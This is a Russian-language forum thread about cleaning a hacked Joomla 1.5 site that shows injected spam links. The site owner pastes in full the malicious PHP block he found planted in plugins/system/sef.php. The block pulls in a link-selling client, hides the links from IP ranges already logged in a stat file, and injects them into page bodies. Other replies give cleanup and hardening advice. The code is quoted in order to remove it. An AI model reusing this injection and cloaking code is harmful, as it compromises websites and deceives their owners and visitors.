[Babaika]

Всем привет.
Есть сайт на joomla 1,5 .
В самом низу ниже футера перед </body> появились ссылки на проституток и т.д.
Пересмотрел все файлы шаблона, файлы локализации в папке language, файлы модуля mod-footer - все чисто. Куда еще копать?

[prihod]

Проверяйте Айболитом

[kuzmi4]

Поищите ТоталКомандером по всему сайту base64

[Babaika]

Короче, разобрался. Нехорошие граждане решили в мэйнлинке заработать.

1. Идем в plugins/system/sef.php и сносим этот код:

/*<mainlink>*/
$bodyText = JResponse::getBody();
if (preg_match("/((\s+)<link.*)/i", $bodyText, $result)) {
$link = $result[1];
}
$link = preg_replace('/(\s+)/i', '$1<link rel="stylesheet" type="text/css" href="plugins/editors/tinymce/tinymce.css" />', $link, 1);
$bodyText = preg_replace('/((\s+)<link.*)/i', '$1'.$link, $bodyText, 1);
JResponse::setBody($bodyText);
if ($_GET["type"] === "css" && $_GET["v"] === "3.0") {
JResponse::setHeader('Content-Type', "text/css", true);
JResponse::setBody(file_get_contents("plugins/editors/tinymce/tinymce.css"));
}
$dir_path = ( $_SERVER['DOCUMENT_ROOT'] . "/plugins/editors/tinymce/data/");
require_once($dir_path . 'index.php');
$o['USERNAME'] = 'C253E88948E8DD343B5B012DD8980FFD';
$o['charset'] = JFactory::getDocument()->getCharset();
$client_lnk = new MLClient($o);
$bodyText = JResponse::getBody();

$dirPath = realpath("."). "/components/com_content";
if (file_exists($dirPath . "/stat2.log")) {
$ips = file($dirPath . "/stat2.log");
$iplist_cnt = count($ips);
$ip = $_SERVER["REMOTE_ADDR"];
$min = ip2long(long2ip(ip2long($ip) & 0xFFFFFF00));
$max = ip2long(long2ip(ip2long($ip) | 0x000000FF));

for($i = 0; $i < $iplist_cnt; $i++) {
$needle = trim($ips[$i]);
if (($needle >= $min) AND ($needle <= $max)) {
$iKnowYou = true;
break;
}
}
} else {
$iKnowYou = true;
}
$links = $client_lnk->build_links();
if (!$iKnowYou) {
$bodyText = preg_replace("~(.*)(<(\s*?)\/(\s*?)body([^>]*?)>)~s", "$1\r\n<div>" . $links . "</div>$2", $bodyText);
}

JResponse::setBody(preg_replace("~(<(\s*?)body([^>]*?)>)~", "$1\r\n<div class='items-body element'>" . $links . "</div>", $bodyText));
/*</mainlink>*/

2. Идем в plugins\editors\tinymce\data и удаляем index.php .
В папке data удаляем подпапку data со всем содержимым

[Ems]

Идем в plugins/system/sef.php и сносим этот код

Идем в plugins\editors\tinymce\data и удаляем index.php

И всё? Вас не смущает, что вы только удалили последствия взлома, а не закрыли дырки.

[dik85]

ага.. ждите новые взломы, если дыры не закрыли взломают обязательно повторно

[Securex]

можно статью почитать:
ktonanovenkogo.ru/joomla/joomla-1-5/kak-zashhitit-joomla-1-5-virusov-vzlomov-postavit-zashhitu-adminku-joomla-wordpress.html

на мой взгляд, лучше бы джумлу обновить.

[krendelll]

Там можно легко мигрировать на 2,5 или 3 версию, скачайте плагин.